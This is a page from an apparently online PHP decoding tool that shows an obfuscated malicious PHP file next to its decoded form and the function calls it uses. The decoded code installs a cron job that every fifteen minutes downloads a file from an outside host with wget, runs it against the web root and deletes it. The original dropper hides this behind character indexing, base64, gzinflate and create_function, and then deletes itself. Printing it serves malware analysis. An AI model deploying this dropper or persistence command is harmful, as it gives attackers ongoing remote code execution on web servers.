Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $chzTgwyUQk='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$chzTgwyUQk[..

Decoded Output download

$qishu = "24"; //
$qishu = strtolower($qishu);
$root = $_SERVER["DOCUMENT_ROOT"];
$disabled = explode(',', ini_get('disable_functions'));
$new_disable = array();
foreach ($disabled as $item) {
	$new_disable[] = trim($item);
}
$cmd = 'echo "*/15 * * * * wget -q -O xxxd http://hello.hellodolly777.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd '.$root.' '.$qishu.' && rm -f xxxd" > conf && crontab conf; rm -f conf';
if(in_array('exec', $new_disable)) {
	$f=popen("$cmd >/dev/null 2>&1 &", "r");
	pclose($f);
	echo "popen <br>";
}else{
	exec("$cmd >/dev/null 2>&1 &");
	echo "exec <br>";
}

Did this file decode correctly?

Original Code

<?php $chzTgwyUQk='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$chzTgwyUQk[(105/15)].$chzTgwyUQk[(26-1)].$chzTgwyUQk[(1*49)].$chzTgwyUQk[((10*1)+18)].$chzTgwyUQk[(14+22)].$chzTgwyUQk[(44+5)].$chzTgwyUQk[(44-13)].$chzTgwyUQk[(684/18)].$chzTgwyUQk[(23+4)].$chzTgwyUQk[(72-(33-7))].$chzTgwyUQk[(154/22)].$chzTgwyUQk[(11+25)].$chzTgwyUQk[(65-(62-31))].$chzTgwyUQk[(26-6)].$chzTgwyUQk[((27*2)-8)];$pHFdNhg9688=$chzTgwyUQk[(20-9)].$chzTgwyUQk[(2*4)].$chzTgwyUQk[(29*1)].$chzTgwyUQk[(160/4)];$MYtraky2482=$chzTgwyUQk[(8*5)].$chzTgwyUQk[((1+0)+2)].$chzTgwyUQk[(6+(1*(95/19)))].$chzTgwyUQk[(140/5)].$chzTgwyUQk[(522/18)].$chzTgwyUQk[(7*((7-3)-2))].$chzTgwyUQk[(2*14)].$chzTgwyUQk[(138/(2+4))].$chzTgwyUQk[(1029/(378/18))].$chzTgwyUQk[((2*189)/9)].$chzTgwyUQk[(12+(0+0))].$chzTgwyUQk[(31*1)].$chzTgwyUQk[(48/(36/12))].$chzTgwyUQk[(735/15)].$chzTgwyUQk[(0+7)].$chzTgwyUQk[(18+2)].$chzTgwyUQk[(18-(10/5))].$chzTgwyUQk[(735/15)].$chzTgwyUQk[(0+(2-(1*1)))].$chzTgwyUQk[(16-(3+(36/(0+18))))].$chzTgwyUQk[((167-23)/18)].$chzTgwyUQk[(0+(18-9))].$chzTgwyUQk[(1*3)].$chzTgwyUQk[(11*(1+(0/(78/13))))].$chzTgwyUQk[(2*7)].$chzTgwyUQk[(29*(0+1))].$chzTgwyUQk[(38-(8+9))].$chzTgwyUQk[(15*2)].$chzTgwyUQk[(45-11)].$chzTgwyUQk[(1*46)].$chzTgwyUQk[(1*(17+21))].$chzTgwyUQk[(78/3)].$chzTgwyUQk[(21+(77/11))].$chzTgwyUQk[(22+14)].$chzTgwyUQk[(343/(91/13))].$chzTgwyUQk[(1*1)].$chzTgwyUQk[(21-10)].$chzTgwyUQk[(22+(12/2))].$chzTgwyUQk[(180/20)].$chzTgwyUQk[(3+((0+0)*1))].$chzTgwyUQk[(686/(126/9))].$chzTgwyUQk[(61-(32-8))].$chzTgwyUQk[(476/17)].$chzTgwyUQk[((4-0)+22)].$chzTgwyUQk[(((23-(2*5))/13)-0)].$chzTgwyUQk[(7+(84/21))].$chzTgwyUQk[(28/2)].$chzTgwyUQk[(9-0)].$chzTgwyUQk[(3*1)];$UrR1094= "'dVBPixMxFD/vwn6HRxiadGkbd7EUrNuL9qiFunpZlmE688YJZJLZTGqnigfBg4qCF8/iyZt4169j9eZXMMnMYi9LILyX35/38ouuRF2s4QzI6W0yBc53n77vPnz7/eP10WF0jdXWWC31Bg1r3/pThxqtrQOj+NF8+WS+vCD3F/ceP5g/PI+Xi8U5ufScTNTJSmLmeNhUUmfI6IAOQCgRP0XLaEeI87VKrdCqpv1grnATd5jTJsYkW+aBXBtM0gLYf+ukhkhYLPvw4ujwYF95cem01oiStQSnf+m809LvQzEtNJBjfjKG4+5s3E4wvILhApqmyaCwtrrDeYFS6lG4My3ldjKZjJrtcx44vR6kRakzuDUZj+H6ia+E4nXR9nQUwhpRX4UAXelIpoRhHigEZpBqlQc3o5VNVqGfdhxfU7e+yJlQcRsHxQZTl+X+j/tdCPlZpStUjITPzniGz7haSwmns94J9MgAiCE+j4MqlbpGFuWhazMJWti9/frny/vdm4+/3n3++/PV3ZWZEZ8gyhr9ED/+xgF7bp53o9k/'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481();if(file_exists(__FILE__)&&!isset($_GET["a"])){if(!unlink(__FILE__)){echo "<br/>";}else{echo "<br/>";}} ?>

Function Calls

null 1
gzinflate 1
base64_decode 1
create_function 1

Variables

$b $qishu = "24"; // $qishu = strtolower($qishu); $root = $_S..
$x 'dVBPixMxFD/vwn6HRxiadGkbd7EUrNuL9qiFunpZlmE688YJZJLZTGqnigf..
$q2866 create_function
$JTx2343 $x="'dVBPixMxFD/vwn6HRxiadGkbd7EUrNuL9qiFunpZlmE688YJZJLZTGq..
$UrR1094 'dVBPixMxFD/vwn6HRxiadGkbd7EUrNuL9qiFunpZlmE688YJZJLZTGqnigf..
$chzTgwyUQk y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je
$mEriqO3481 None
$MYtraky2482 ";$a=base64_decode($x);$b=gzinflate($a);eval($b);
$pHFdNhg9688 $x="

Stats

MD5 62cee92b19d65e2b1b8f0c34e9e1f305
Eval Count 2
Decode Time 170 ms